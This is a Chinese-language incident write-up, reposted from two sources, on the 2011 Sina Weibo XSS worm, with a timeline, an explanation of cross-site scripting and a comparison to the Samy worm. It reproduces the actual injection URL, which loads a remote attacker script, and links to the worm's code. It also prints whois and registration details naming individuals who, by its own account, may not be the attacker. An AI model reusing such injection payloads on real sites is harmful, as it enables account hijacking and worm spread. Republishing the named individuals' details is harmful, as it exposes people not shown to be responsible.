新浪微博的XSS漏洞攻擊過程詳解


今天晚上(2011年6月28日),新浪微博出現了一次比較大的XSS攻擊事件。大量用戶自動發送諸如:“郭美美事件的一些未注意到的細節”,“建 黨大業中穿幫的地方”,“讓女人心動的100句詩歌”,“3D肉團團高清普通話版種子”,“這是傳說中的神仙眷侶啊”,“驚爆!范冰冰艷照真流出了”等等 微博和私信,並自動關注一位名為hellosamy的用戶。

事件的經過線索如下:

  • 20:14,開始有大量帶V的認證用戶中招轉發蠕蟲
  • 20:30,2kt.cn中的病毒頁面無法訪問
  • 20:32,新浪微博中hellosamy用戶無法訪問
  • 21:02,新浪漏洞修補完畢

 

新浪微博XSS事件

在這里,想和大家介紹一下XSS攻擊,XSS攻擊又叫跨站腳本式攻擊,你Google一下可以搜到很多很多的文章。我在這里就簡單地說一下。

首先,我們都知道網上很多網站都可以“記住你的用戶名和密碼”或是“自動登錄”,其實是在你 的本地設置了一個cookie,這種方式可以讓你免去每次都輸入用戶名和口令的痛苦,但是也帶來很大的問題。試想,如果某用戶在“自動登錄”的狀態下,如 果你運行了一個程序,這個程序訪問“自動登錄”這個網站上一些鏈接、提交一些表單,那么,也就意味着這些程序不需要輸入用戶名和口令的手動交互就可以和服 務器上的程序通話。這就是XSS攻擊的最基本思路。

再說一點,不一定是“記住你的用戶名和密碼”或是“自動登錄”的方法,因為HTTP是無狀態 的協議,所以,幾乎所有的網站都會在你的瀏覽器上設置cookie來記錄狀態,以便在其多個網頁切換中檢查你的登錄狀態。而現在的瀏覽器的運行方式是多頁 面或多窗口運行,也就是說,你在同一個父進程下開的多個頁面或窗口里都可以無償和共享使用你登錄狀態的。

當然,你不必過於擔心訪問別的網站,在別的網站里的js代碼會自動訪問你的微博或是網銀。因為瀏覽器的安全性讓js只能訪問自己所在網站的資源(你可以引入其它網站的js)。當然,這是瀏覽器對js做的檢查,所以,瀏覽器並不一定會做這個檢查,這就是為什么IE6是史上最不安全的瀏覽器,沒有之一。只要你沒有在用IE6,應該沒有這些問題。

XSS攻擊有兩種方法:

  • 一種就像SQL Injection或CMD Injection攻擊一樣,我把一段腳本注入到服務器上,用戶訪問方法服務器的某個URL,這個URL就會把遠端的js注入進來,這個js有可能自動進 行很多操作。比如這次事件中的幫你發微博,幫你發站內消息等。注入有很多方法,比如:提交表單,更改URL參數,上傳圖片,設置簽名,等等。
  • 另一類則是來來自外部的攻擊,主要指的自己構造XSS 跨站漏洞網頁或者尋找非目標機以外的有跨站漏洞的網頁。如當我們要滲透一個站點,我們自己構造一個跨站網頁放在自己的服務器上,然后通過結合其它技術,如 社會工程學等,欺騙目標服務器的管理員打開。這一類攻擊的威脅相對較低,至少ajax 要發起跨站調用是非常困難的(你可能需要hack瀏覽器)。

這次新浪微博事件是第一種,其利用了微博廣場頁面 http://weibo.com/pub/star 的一個URL注入了js腳本,其通過http://163.fm/PxZHoxn短鏈接服務,將鏈接指向:

http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

注意,上面URL鏈接中的其實就是<script src=//www.2kt.cn/images/t.js></script>。

攻擊者並不一定是2kt.cn的人,因為.cn被國家嚴格管制(大家不知道coolshell.cn 的備案備了不知有多少次),所以,我個人覺得這個人不會愚蠢到用自己域名來做攻擊服務器。

其它

  • 初步發現 Chrome 和 Safari 都沒中招。IE、Firefox未能幸免。
  • 史上最著名的XSS攻擊是Yahoo Mail 的Yamanner 蠕 蟲是一個著名的XSS 攻擊實例。早期Yahoo Mail 系統可以執行到信件內的javascript 代碼。並且Yahoo Mail 系統使用了Ajax技術,這樣病毒javascript 可以的向Yahoo Mail 系統發起ajax 請求,從而得到用戶的地址簿,並發送攻擊代碼給他人。
  • 為什么那個用戶叫hellosamy,因為samy是第一個XSS攻擊性的蠕蟲病毒,在MySpace上傳播。
  • 關於攻擊的代碼在這里:06.28_sina_XSS.txt [CSDN下載](編碼風格還是很不錯的)

(全文完)

 

摘自:http://coolshell.cn/articles/4914.html

 


 

一、事件的經過

新浪微博突然出現大范圍“中毒”,大量用戶自動發送“建黨大業中穿幫的地方”、“個稅起征點有望提到4000”、“郭美美事件的一些未注意到的細節”、“3D肉團團高清普通話版種子”等帶鏈接的微博與私信,並自動關注一位名為hellosamy的用戶。

事件的經過線索如下:

  • 20:14,開始有大量帶V的認證用戶中招轉發蠕蟲
  • 20:30,2kt.cn中的病毒頁面無法訪問
  • 20:32,新浪微博中hellosamy用戶無法訪問
  • 21:02,新浪漏洞修補完畢

影響有多大:32961(這位hellosamy在帳號被封前的好友數量)。

二、采用了什么樣的攻擊方法

1、利用了新浪微博存在的XSS漏洞,先使自己的微博“中毒”,在瀏覽器中加載如下地址即可:

http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update

2、使用有道提供的短域名服務(這些網址目前已經“無害”);

例如,通過 http://163.fm/PxZHoxn ,將鏈接指向:

http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

3、當新浪登陸用戶不小心訪問到相關網頁時,由於處於登錄狀態,會運行這個js腳本做幾件事情:

  • a.發微博(讓更多的人看到這些消息,自然也就有更多人受害);
  • b.加關注,加uid為2201270010的用戶關注——這應該就是大家提到的hellosamy了;
  • c.發私信,給好友發私信傳播這些鏈接;

三、攻擊者是誰?

攻擊者不一定是2kt.cn的擁有者。目前暫時只能獲得2kt.cn域名、網站擁有者信息如下。

不排除這個網站被攻擊后,服務器被人放置惡意代碼。

通過whois查詢,2kt.cn的域名擁有者信息如下:

localhost% whois 2kt.cn
Domain Name: 2kt.cn
ROID: 20081025s10001s69222533-cn
Domain Status: ok
Registrant Organization: 北京新網數碼信息技術有限公司
Registrant Name: 張志
Administrative Email: lin5061@gmail.com
Sponsoring Registrar: 北京新網數碼信息技術有限公司
Name Server:ns.xinnetdns.com
Name Server:ns.xinnet.cn
Registration Date: 2008-10-25 04:22
Expiration Date: 2011-10-25 04:22

通過工信部的備案查詢:http://www.miibeian.gov.cn/publish/query/indexFirst.action

網站負責人姓名:劉孝德

網站備案/許可證號:蘇ICP備10108026號-1

四、為什么叫hellosamy?

2005年,首個利用跨站點腳本缺 陷的蠕蟲samy被“創造”出來了。Samy利用網站設計方面的缺陷,創建了一份“惡意”的用戶檔案,當該用戶檔案被瀏覽時,就會自動地激活代碼,將用戶 添加到Samy的“好友”列表中。另外,惡意代碼還會被拷貝到用戶的檔案中,當其他人查看用戶的檔案時,蠕蟲會繼續傳播。Samy蠕蟲能夠造成與拒絕服務 相當的效應,會造成好友列表中好友數量呈指數級增長,最終會消耗系統的大量資源。

因此,這次新浪微博的蠕蟲,象是在對samy蠕蟲致敬

五、參考信息

samy蠕蟲的傳播經歷與技術細節:http://namb.la/popularhttp://namb.la/popular/tech.html

六、本次蠕蟲事件中的代碼下載  http://t.cn/aNhKgc?u=1319542477

網友提供的部分截圖:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM